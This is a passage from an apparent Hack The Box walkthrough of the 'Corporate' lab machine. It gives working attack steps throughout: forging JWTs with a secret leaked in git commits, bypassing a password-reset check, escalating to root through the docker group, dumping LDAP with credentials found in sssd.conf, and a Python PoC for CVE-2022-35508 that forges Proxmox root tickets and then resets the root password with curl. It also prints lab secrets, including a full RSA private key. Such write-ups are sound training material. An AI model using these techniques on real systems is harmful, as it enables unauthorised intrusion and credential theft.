println! ( "Pin found: {pin}" );
} else {
println! ( "Pin not found" );
}
}
Use the pin 0239 to unlock the Bitwarden vault and disclose secrets (login credentials and OTP for http://git.corporate.htb ).
Update the hosts
file and navigate to http://git.corporate.htb
Login using the Bitwarden vault, right-click on the username filed and select "bitwarden-auto-fill". Same for the "totp" field. The corporate repos come into view.
Enumerate the private repos, read the code and analyze it.
Important things to notice:
JWT secret is taken from an env
variable.
A recent commit has been made to prevent sysdamin password to be changed.
The API source code is available at corporateIT/corporate-sso/app.ts
Where you see passwords can be reset by sending a POST request with parameter currentPasword
We cannot see the JWT secret in the code; however, it can be disclosed by looking at the commits.
Move to the repo corporateit/ourpeople
and browse the commits. Open the commit "Added prisma and dashboard" on the file package.json
made by Tanner Kuvalis 11 months ago. This is the URL: http://git.corporate.htb/CorporateIT/ourpeople/commit/54bc5ff1f96ff9c3dda92ad92f05b110e43ba26e
The JWT secret is JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a
Now you can forge JWT tokens for any user but we need to think which user is more interesting to impersonate. According to Gitea, password reset for sysadmins has been disabled, so maybe they are not the best choice.
If we continue to enumerate the corporate-workstation-04
host at 10.9.0.4 from the elwin.jones
SSH shell we find out there is a Docker daemon listening; however, we do not have acces to it, only people from "Engineer" group.
Copy > whoami
elwin.jones
> hostname
corporate-workstation-04
> docker images
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json" : dial unix /var/run/docker.sock: connect: permission denied
ls -hal /var/run/docker.sock
srw-rw---- 1 root engineer 0 Feb 21 05:04 /var/run/docker.sock
So it is more convenient to impersonate an engineer and escalate privileges with Docker.
Let's find a suitable engineer to impersonate such as her.
Email is dylan.schumm@corporate.htb
, birthday 26/02/1967 and ID 5026.
Let's forge a JWT for Dylan Schumm using the previously disclosed JWT secret.
And verify it works by logging into the dashboard.
Although we have the JWT token, we need the SSH password to perform the Docker escalation. With the token we can get to the SSO portal where we can reset Dylan's password; however, to use the password reset feature we need to know the current password.
To understand how passwords are reset, read and analyze the reset-password
endpoint in the application source code file app.js
Copy app .post ( "/reset-password" , async (req , res) => {
const CorporateSSO = req . cookies .CorporateSSO ?? "" ;
// Redirect not validated
const user = validateJWT (CorporateSSO);
if ( ! user) {
return res .redirect ( "/login?redirect=%2fservices" );
}
const username = ` ${ user .name } . ${ user .surname } ` ;
const result = PasswordValidator .safeParse ( req .body);
if ( ! result .success)
return res .redirect ( "/reset-password?error=" + encodeURIComponent ( "You must
specify a password longer than 8 characters.
"));
const {
currentPassword ,
newPassword ,
confirmPassword
} = result .data;
if ( user .requireCurrentPassword) {
if (!currentPassword) return res. redirect ( "/reset-password?error=" +
encodeURIComponent( "Please specify your previous password." ));
const validateExistingPW = await validateLogin (username , currentPassword);
if (!validateExistingPW) return res. redirect ( "/reset-password?error=" +
encodeURIComponent( "Your current password is incorrect." ));
}
if (newPassword !== confirmPassword)
return res .redirect ( "/reset-password?error=" + encodeURIComponent ( "The
passwords you specified do not match ! "));
const passwordReset = await updateLogin ( ` ${ user .name } . ${ user .surname } ` ,
newPassword);
if ( ! passwordReset .success) return res .redirect ( "/reset-password?error=" +
encodeURIComponent ( passwordReset .error));
return res .redirect ( "/reset-password?success=true" );
});
Current passwords are requested during a password reset only if requireCurrentPassword
flag is set to True
So we just need to forge a new JWT token with this flag set to False
Use it to log in and navigate to http://sso.corporate.htb for a password reset. Now it can be done without entering the current password.
And with the new password we can open an SSH session as Dylan Schumm.
In order to perform a Docker escalation we need an image but there are no images loaded in the machine. So we need to download an image and import it into the host.
In your Kali machine, pull an Alpine image.
Copy > docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
38a8310d387e: Pull complete
Digest: sha256:21dc6063fd678b478f57c0e13f47560d0ea4eeba26dfc947b2a4f81f686b9f45
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
Save it as TAR.
Copy > docker save alpine:latest > alpine.tar
Now move the TAR file to the host with scp
, and load the image.
Copy > docker load -i alpine.tar
3e01818d79cd: Loading layer [==================================================>] 8.124MB/8.124MB
Loaded image: alpine:latest
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 4048db5d3672 4 weeks ago 7.84MB
Now it is possible to perform an escalation running a docker container that will mount host root file system on container's /mnt
Copy > docker run -it -v /:/mnt alpine
Now that we are root we can enumerate further the system files and security configurations, such as the file sssd.conf
Copy > cat /mnt/etc/sssd/sssd.conf
[sssd]
config_file_version = 2
domains = corporate.htb
[domain/corporate.htb]
id_provider = ldap
auth_provider = ldap
ldap_uri = ldap://ldap.corporate.htb
cache_credentials = True
ldap_search_base = dc=corporate,dc=htb
ldap_auth_disable_tls_never_use_in_production = True
ldap_default_authtok = ALo5u1njam14j1r8451amt5T
ldap_default_bind_dn = cn=autobind,dc=corporate,dc=htb
Here we see LDAP credentials for a user autobind
that we can use to dump the entire directory.
First we chroot
to /mnt
so the ldapsearch
binary installed in the machine works.
Then query all the directory.
Copy > ldapsearch -x -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T -b "dc=corporate,dc=htb"
The output is too large, so let's grep
for admins.
Copy > ldapsearch -x -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T -b "dc=corporate,dc=htb" | grep admin
corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
# sysadmin, Groups, corporate.htb
dn: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
cn: sysadmin
It seems there is a group called sysadmin
, let's proceed to extract the group members.
Copy > ldapsearch -x -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T -b "cn=sysadmin,ou=Groups,dc=corporate,dc=htb"
# extended LDIF
#
# LDAPv3
# base <cn=sysadmin,ou=Groups,dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# sysadmin, Groups, corporate.htb
dn: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
gidNumber: 500
objectClass: top
objectClass: posixGroup
cn: sysadmin
memberUid: stevie.rosenbaum
memberUid: amie.torphy
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
We see two members Stevie Rosenbaum and Amie Torphy. Let's see if we can dump more details about Amie.
Copy > ldapsearch -x -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T -b "uid=amie.torphy,ou=Users,dc=corporate,dc=htb"
# extended LDIF
#
# LDAPv3
# base <uid=amie.torphy,ou=Users,dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# amie.torphy, Users, corporate.htb
dn: uid=amie.torphy,ou=Users,dc=corporate,dc=htb
uid: amie.torphy
uidNumber: 5015
gidNumber: 5015
objectClass: top
objectClass: person
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
objectClass: corpPerson
cn: Amie Torphy
givenName: Amie
sn: Torphy
mail: amie.torphy@corporate.htb
shadowLastChange: 16890
shadowMin: 0
shadowMax: 99999
shadowWarning: 14
shadowInactive: 3
loginShell: /bin/bash
homeDirectory: /home/guests/amie.torphy
labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub?(&(objectclass=posixgro
up)(memberuid=amie.torphy))
userPassword:: e1NTSEF9OGdSTTB1dDYrWnFNOUFaVXZpK0RsbVVwWGxWMTMrUE4=
corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb
And now Stevie.
Copy > ldapsearch -x -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T -b "uid=stevie.rosenbaum,ou=Users,dc=corporate,dc=htb"
# extended LDIF
#
# LDAPv3
# base <uid=stevie.rosenbaum,ou=Users,dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# stevie.rosenbaum, Users, corporate.htb
dn: uid=stevie.rosenbaum,ou=Users,dc=corporate,dc=htb
uid: stevie.rosenbaum
uidNumber: 5007
gidNumber: 5007
objectClass: top
objectClass: person
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
objectClass: corpPerson
cn: Stevie Rosenbaum
givenName: Stevie
sn: Rosenbaum
mail: stevie.rosenbaum@corporate.htb
shadowLastChange: 16890
shadowMin: 0
shadowMax: 99999
shadowWarning: 14
shadowInactive: 3
loginShell: /bin/bash
homeDirectory: /home/guests/stevie.rosenbaum
labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub? ( & (objectclass = posixgro
up )(memberuid = stevie.rosenbaum ))
userPassword:: e1NTSEF9azVBNlAxRkpnRnhVaE5aS3FMMlg5dUM1RDVNUkNSNEM=
corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb
corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb
We can just su
to Amie's account and dump her private key in the home .ssh
directory.
The private key does not work for connecting with SSH as amie.torphy
at 10.9.0.1. But if you check the /etc/passwd
file for alternative usernames, you'll find there is another user called sysadmin
Copy > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/ false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sysadmin:x:1000:1000:sysadmin:/home/sysadmin:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_rpc:x:114:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:115:65534::/var/lib/nfs:/usr/sbin/nologin
sssd:x:116:119:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
And this username works to connect to the 10.9.0.1 host with the private key found.
Enumerating the file system, we see Proxmon is installed (/etc/pve
directory), and the version installed is 7.4.
Copy > pveversion
pve-manager/7.4-3/9002ab8a (running kernel: 5.15.131-1-pve )
There is a CVE affecting this version: https://www.cvedetails.com/cve/CVE-2022-35508/ .
And a PoC available here: https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/
Basically, you can forge tickets to allow administrator rights to interact with the Proxmon API.
First we have a look at Proxmox configuration file.
Copy > cat /usr/local/bin/proxmox-stuff/prox_config_backup.sh
#!/bin/bash
# Version 0.2.3
# Date 04.18.2022
# Author DerDanilo
# Contributors aboutte, xmirakulix, bootsie123, phidauex
###########################
# Configuration Variables #
###########################
# Permanent backups directory
# Default value can be overridden by setting environment variable before running
prox_config_backup.sh
# example: export BACK_DIR="/mnt/pve/media/backup"
# or
# example: BACK_DIR="." ./prox_config_backup.sh
DEFAULT_BACK_DIR = "/var/backups"
It seems there is a backup directory in /var/backups
Inside it there are 2 backup files.
Copy proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
pve-host-2023_04_15-16_09_46.tar.gz
Download them with scp
and extract the contents. We are looking for a file authkey.key
to exploit the CVE. It is in fact inside the pve-host-2023_04_15-16_09_46.tar.gz
package, in the path etc/pve/priv/authkey.key
Copy -----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4qucBTokukm1jZuslN5hZKn/OEZ0Qm1hk+2OYe6WtjXpSQtG
EY8mQZiWNp02UrVLOBhCOdW/PDM0O2aGZmlRbdN0QVC6dxGgE4lQD9qNKhFqHgdR
Q0kExxMa8AiFNJQOd3XbLwE5cEcDHU3TC7er8Ea6VkswjGpxn9LhxuKnjAm81M4C
frIcePe9zp7auYIVVOu0kNplXQV9T1l+h0nY/Ruch/g7j9sORzCcJpKviJbHGE7v
OXxqKcxEOWntJmHZ8tVb4HC4r3xzhA06IRj3q/VrEj3H6+wa6iEfYJgp5flHtVA8
8TlXitfsBH+ZT41CH3/a6JudMYSLGKvatGgjJQIDAQABAoIBAQCBBoBcNVmctMJk
ph2Z6+/ydhXyOaCKA2tM4idvNXmSpKNzUbiD3EFBi5LN6bV3ZP05JA3mj/Y4VUlB
Gr4cY4zXgEsntsU9a8n79Oie7Z/3N0x5ZV7rdxACJazqv17bq/+EHpEyc3b3o2Rx
dNBSVi3IKup8nnY3J4wgFtEv/eqzefDc4ODcDIz/j46eh/TZLll7zhesJ6Icfml3
aZ3GjWdQWOwlj1rDCP7S/ehryNbB7p2T/FVHw6tbMf7XYtjlWzQbns+m9sQmrD3Q
Lmw9zk7NyCuZi0/l8XiaJINv4VWFUuU4/KrifW7az81AAVcNLSKkg2AQ9Q3VSdyH
z1p5Hz8tAoGBAP5wTIwhG781oHR3vu15OnoII9DFm80CtmeqA5mL2LzHB5Po2Osn
wkspMpKioukFWcnwZO9330h/FSyv6zYJP/5QfwTkskEsYli6emdwJgb0C+HJYVVx
/CWeDNvLhyNam0HcqzXMFzQhLfGaKoq4FZ95ozNOCv1K83G379o7VsRPAoGBAOQP
sFdEEgDB/t0lnOEFfRSTwtJ2/IlLwBLMlm09aIwB7DqI9dl8fIcq8YR03XhGzIg0
H28xf3b5Ql619VJ9YESRSq+F4VjuMzJpXJuHshR9wQZy8RDEtr43OwTBOG7sUNKi
I0MBFxEmfaPeZCIZCLouam1JBNAA3YwFxlPm8WBLAoGAXOmtSk6cz0pJ+b3wns9y
JzXpvkcrCcY/zcMr5VpIH0ee4MhaziSKst+sdBen3efyTefXNAtWIicmGFd1URo3
oCrM94B8B4ipsTUHldZCTK+51w2u2YDyTtpUX78G7kYcBAUNEGwi3QpwuJVPi7CF
VOMaUZXiNXS1SYWdtNeOa8kCgYA60g0SRN070s0wLo5Kv0amcwHRlJzHsIDmmFvH
6wm26pwJ8N8v69qWZi4KkrW4WtJP4tmkrSiJ//ntQZL3ZpzYsnyHzsjzTeRogSJA
fvwgKtsJFcY1I/daEhanwEoU2eByoxzjIDnZ04qeJDLBVKGam3QZobabC04Y2jhv
1WW2BwKBgCD/j2QWr62kh48MY5hCG94YrZRiH1+WdJul+HpTXGax0kB8bXXehh7N
n4+xaiJCTUElVEm2KH/7C8yKoytm8HR7eRrq7SJSbWEmvI/1Yhj1A9g2/vrCxOlm
GtYXpgsbUgcGgg3Hr9/piitsBlSME6niawdxaMT9eLyLNUAnHRec
-----END RSA PRIVATE KEY-----
We can use this key to generate a ticket for the Proxmox API. Just use the PoC described in the blog URL indicated before. After some modifications, the PoC final code is this.
Copy import subprocess
import base64
import tempfile
import logging
import time
logging . basicConfig (format = ' %(asctime)s - %(message)s ' , level = logging.INFO)
def generate_ticket ( authkey_bytes , username = 'root@pam' , time_offset =- 30 ):
timestamp = hex ( int (time. time ()) + time_offset) [ 2 : ] . upper ()
plaintext = f 'PVE: { username } : { timestamp } '
authkey_path = tempfile . NamedTemporaryFile (delete = False )
logging . info ( f 'Writing authkey to { authkey_path.name } ' )
authkey_path . write (authkey_bytes)
authkey_path . close ()
txt_path = tempfile . NamedTemporaryFile (delete = False )
logging . info ( f 'Writing plaintext to { txt_path.name } ' )
txt_path . write (plaintext. encode ( 'utf-8' ))
txt_path . close ()
logging . info ( 'Calling OpenSSL to sign' )
sig = subprocess . check_output (
[ 'openssl' , 'dgst' , '-sha1' , '-sign' , authkey_path.name, '-out' , '-' , txt_path.name]
)
sig = base64 . b64encode (sig). decode ( 'latin-1' )
ret = f ' { plaintext } :: { sig } '
logging . info ( f 'Generated ticket for { username } : { ret } ' )
return ret
with open ( "./authkey.key" , "rb" ) as keyfile :
generate_ticket (keyfile. read ())
Run it to get a ticket.
Now forward the Proxmox web service running on port 8006 to your Kali machine.
Copy > ssh -i id_rsa -L 8006:localhost:8006 sysadmin@10.9.0.1
In the Proxmox API documentation it says how we can test our tickets (https://pve.proxmox.com/wiki/Proxmox_VE_API ). Just use curl
with your newly generated ticket.
Copy > curl --insecure --cookie "PVEAuthCookie=PVE:root@pam:677AAE10::pUgE8MYRq19Le6t9OwS+yjy3LVB5a9JRubGM1GUdErN5RKts5APAedcfoZQUmhOiLFSo6mN7FZhoSgZ3KfFJkWA/mP/F3/MclItvLiwnhlLXz3Jx4628gFIIGKSuHEaCpF/YHUDviXXIREqXnnboCYIdHu/YCQyp5lCZQDRNEz8jy9QqOBlSoPVGpIvZcB8cHKsmzikUeh9axQpJ7JiY+Jy3YImtnls0Z5f5NTR9gQdnanQ5vabNZEy7p54LJysEUW2MUPc1dCrGTJtjK+BVtC9FLKrA2Qj8qRKHY8fANjaQZozPknslvCz4W76+W7x6vA5i65nhPRlPFN7x6XENUQ==" https://localhost:8006/api2/json/nodes/ | jq '.'
Additionally, according to documentation we need a CSRF token for any API interaction. It can be we extracted from a server response to any generic curl
request.
Copy > curl --insecure --cookie "PVEAuthCookie=PVE:root@pam:677AAE10::pUgE8MYRq19Le6t9OwS+yjy3LVB5a9JRubGM1GUdErN5RKts5APAedcfoZQUmhOiLFSo6mN7FZhoSgZ3KfFJkWA/mP/F3/MclItvLiwnhlLXz3Jx4628gFIIGKSuHEaCpF/YHUDviXXIREqXnnboCYIdHu/YCQyp5lCZQDRNEz8jy9QqOBlSoPVGpIvZcB8cHKsmzikUeh9axQpJ7JiY+Jy3YImtnls0Z5f5NTR9gQdnanQ5vabNZEy7p54LJysEUW2MUPc1dCrGTJtjK+BVtC9FLKrA2Qj8qRKHY8fANjaQZozPknslvCz4W76+W7x6vA5i65nhPRlPFN7x6XENUQ==" https://localhost:8006/ | grep CSRF
Now we need to find a way to escalate privileges leveraging our API access. According to documentation (https://pve.proxmox.com/pve-docs/api-viewer/index.html#/access/password ) we can change any user password in the /api2/json/access/password
endpoint, so let's change root password.
Don't forget your ticket and the CSRF token.
Copy > curl -X PUT --insecure -H "CSRFPreventionToken:677AAFBB:FQtTZt1UKcMFucHwwEYwpT1VZtquoyANF0iYvS1jkNg" --cookie "PVEAuthCookie=PVE:root@pam:677AAE10::pUgE8MYRq19Le6t9OwS+yjy3LVB5a9JRubGM1GUdErN5RKts5APAedcfoZQUmhOiLFSo6mN7FZhoSgZ3KfFJkWA/mP/F3/MclItvLiwnhlLXz3Jx4628gFIIGKSuHEaCpF/YHUDviXXIREqXnnboCYIdHu/YCQyp5lCZQDRNEz8jy9QqOBlSoPVGpIvZcB8cHKsmzikUeh9axQpJ7JiY+Jy3YImtnls0Z5f5NTR9gQdnanQ5vabNZEy7p54LJysEUW2MUPc1dCrGTJtjK+BVtC9FLKrA2Qj8qRKHY8fANjaQZozPknslvCz4W76+W7x6vA5i65nhPRlPFN7x6XENUQ==" --data "password=password123&userid=root@pam" https://localhost:8006/api2/json/access/password
The only thing that's left is to su
to root in the Amie Torphy session.
You are root.